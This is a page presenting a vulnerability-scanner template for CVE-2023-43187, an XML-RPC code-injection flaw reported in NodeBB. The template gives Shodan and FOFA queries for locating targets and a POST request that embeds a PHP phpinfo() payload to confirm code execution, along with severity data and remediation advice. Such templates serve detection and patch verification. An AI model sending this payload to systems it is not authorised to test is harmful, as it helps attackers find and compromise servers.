CVE-2023-43187: NodeBB XML-RPC Request xmlrpc.php - XML Injection

2025-08-01 NodeBB PoC Public

Description

A remote code execution (RCE) vulnerability in the xmlrpc.php endpoint of NodeBB Inc NodeBB forum software prior to v1.18.6 allows attackers to execute arbitrary code via crafted XML-RPC requests.

PoC

id: CVE-2023-43187

info:
  name: NodeBB XML-RPC Request xmlrpc.php - XML Injection
  author: 0xParth
  severity: critical
  description: |
    A remote code execution (RCE) vulnerability in the xmlrpc.php endpoint of NodeBB Inc NodeBB forum software prior to v1.18.6 allows attackers to execute arbitrary code via crafted XML-RPC requests.
  impact: |
    Unauthenticated attackers can inject arbitrary PHP code through crafted XML-RPC requests to the xmlrpc.php endpoint, potentially gaining full control over the NodeBB forum server and accessing user data.
  remediation: |
    Update NodeBB to version 1.18.6 or later that properly validates and sanitizes XML-RPC input to prevent code injection attacks.
  reference:
    - https://github.com/jagat-singh-chaudhary/CVE/blob/main/CVE-2023-43187
    - https://nvd.nist.gov/vuln/detail/CVE-2023-43187
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-43187
    cwe-id: CWE-91
    epss-score: 0.47391
    epss-percentile: 0.98813
    cpe: cpe:2.3:a:nodebb:nodebb:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: nodebb
    product: nodebb
    shodan-query: cpe:"cpe:2.3:a:nodebb:nodebb"
    fofa-query: "title=\"nodebb\""
  tags: cve,cve2023,nodebb,rce,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - contains(to_lower(body), "nodebb")

  - method: POST
    path:
      - "{{BaseURL}}/xmlrpc.php"

    headers:
      Content-Type: "text/xml"

    body: |
      <?xml version="1.0"?>
      <methodCall>
        <methodName>system.listMethods</methodName>
        <params>
          <param>
            <value><?php phpinfo(); ?></value>
          </param>
        </params>
      </methodCall>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>phpinfo()</title>"
          - "PHP Version"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210090ad024d968a72eef424168f18d6cf9a9dc066a8c9d3c2dc15ae8a1e48581efc02204b0a7d1a18fcfae85218bd082af9d24920b801aefd9991cd93558940c5c7f89a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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